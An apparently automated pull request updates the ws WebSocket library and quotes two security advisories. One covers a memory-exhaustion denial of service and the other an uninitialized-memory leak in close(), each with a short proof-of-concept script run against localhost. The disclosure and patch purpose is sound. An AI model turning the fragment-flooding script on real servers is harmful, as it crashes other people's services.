chore(deps): update dependency ws [security]

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This PR contains the following updates:

Package	Change	Age	Confidence
ws	7.5.10 → 7.5.11
ws	8.18.1 → 8.21.0

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ws: Memory exhaustion DoS from tiny fragments and data chunks

CVE-2026-48779 / GHSA-96hv-2xvq-fx4p

More information

Details

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (websockets/ws@bca91ad) and backported to ws@7.5.11 (websockets/ws@fd36cd8), ws@6.2.4 (websockets/ws@86d3e8a), and ws@5.2.5 (websockets/ws@b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p
• https://nvd.nist.gov/vuln/detail/CVE-2026-48779
• https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8
• https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94
• https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53
• https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7
• https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json
• https://github.com/websockets/ws
• https://bugzilla.redhat.com/show_bug.cgi?id=2489661
• https://access.redhat.com/security/cve/CVE-2026-48779
• https://access.redhat.com/errata/RHSA-2026:37272
• https://access.redhat.com/errata/RHSA-2026:36820
• https://access.redhat.com/errata/RHSA-2026:36754
• https://access.redhat.com/errata/RHSA-2026:34342
• https://access.redhat.com/errata/RHSA-2026:33574
• https://access.redhat.com/errata/RHSA-2026:33183
• https://access.redhat.com/errata/RHSA-2026:33173
• https://access.redhat.com/errata/RHSA-2026:33163
• https://access.redhat.com/errata/RHSA-2026:33160
• https://access.redhat.com/errata/RHSA-2026:33155
• https://access.redhat.com/errata/RHSA-2026:29197
• https://access.redhat.com/errata/RHSA-2026:27171
• https://access.redhat.com/errata/RHSA-2026:26638

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

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ws: Uninitialized memory disclosure

CVE-2026-45736 / GHSA-58qx-3vcg-4xpx

More information

Details

Impact

The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.

Proof of concept

import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer(
  { port: 0, skipUTF8Validation: true },
  function () {
    const { port } = wss.address();
    const ws = new WebSocket(`ws://localhost:${port}`, {
      skipUTF8Validation: true
    });

    ws.on('close', function (code, reason) {
      deepStrictEqual(reason, Buffer.alloc(80));
    });
  }
);

wss.on('connection', function (ws) {
  ws.close(1000, new Float32Array(20));
});

Patches

The vulnerability was fixed in ws@8.20.1 (websockets/ws@c0327ec).

Credits

Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.

Remarks

Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.

Resources

• GHSA-58qx-3vcg-4xpx
• https://www.cve.org/CVERecord?id=CVE-2026-45736

Severity

• CVSS Score: 4.4 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/websockets/ws/security/advisories/GHSA-58qx-3vcg-4xpx
• https://nvd.nist.gov/vuln/detail/CVE-2026-45736
• https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086
• https://github.com/websockets/ws

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

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Release Notes

websockets/ws (ws)

v7.5.11

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Bug fixes

• Backported 2b2abd4 to the 7.x release line (e14c458).

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